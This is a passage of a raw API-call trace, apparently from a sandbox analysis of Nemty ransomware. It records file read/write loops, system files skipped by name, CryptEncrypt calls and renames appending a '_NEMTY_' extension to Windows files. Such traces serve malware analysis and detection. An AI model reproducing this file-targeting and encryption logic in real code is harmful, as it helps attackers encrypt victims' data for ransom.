dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.346] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.365] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.365] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.374] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.374] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.384] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.384] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.384] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.384] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.403] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.412] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.412] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0103.424] CloseHandle (hObject=0xffffffff) returned 0 [0103.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0103.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0103.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0103.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0103.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0103.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0103.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0103.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0103.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0103.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0103.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpmediasharing.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\en-us\\wmpmediasharing.dll.mui._nemty_kgobjgd_")) returned 0 [0103.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0103.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0103.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0103.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0103.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0103.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0103.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0103.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0103.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0103.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.425] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="wmpnetwk.exe.mui", cAlternateFileName="")) returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2=".") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="..") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="...") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="windows") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="rsa") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="NTDETECT.COM") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="ntldr") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="MSDOS.SYS") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="IO.SYS") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="boot.ini") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="boot.ini") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="ntuser.dat") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="desktop.ini") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="CONFIG.SYS") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="RECYCLER") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="bootmgr") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="programdata") returned 1 [0103.425] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="appdata") returned 1 [0103.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetwk.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0103.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0103.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetwk.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0103.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0103.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetwk.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0103.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0103.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetwk.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0103.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0103.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0103.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0103.426] Sleep (dwMilliseconds=0x5) [0103.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf14d8250, dwHighDateTime=0x1d561e7)) [0103.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf14d8250, dwHighDateTime=0x1d561e7)) [0103.441] GetLastError () returned 0x5 [0103.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0103.441] GetLastError () returned 0x5 [0103.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0103.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0103.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0103.442] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0103.442] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0103.442] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0103.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0103.442] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="Kw8YqzGr/awxnKqkJFlVL44U3CjGMOG9FnpsfDd1lVhSIILCSIje6zo7IlBpvUQc\r\nwI/tPfxSiOmvcCgworf+OEeL2xLu5ITanEvcMZsylWblbeRTfV1YtzA2nGBJePik\r\nlcCvioUV1es63mRLEHmYinRr2F2YkZJcab245HvIKgCnPdjJiylrvlU++fLsav6J\r\nSyXRt6sr2R4M5DkSe40c/J3kOmzatwmUZxRrY0wEUaS5GWpjgPegdd0zb3VFvf1u\r\n7FzPPI3Qu/kc7fFxFGkaTKzKLujg0HrWwsxP4V30bGb/3FyACnOfoN3wgeKsRNxN\r\nHaOeQWSgBAKPG+xcm20rAQ==\r\n", pcchString=0x653ef9c) returned 1 [0103.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0103.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0103.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0103.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0103.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0103.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0103.442] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnetwk.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnetwk.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.443] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0103.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0103.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.471] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.480] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.480] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.490] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 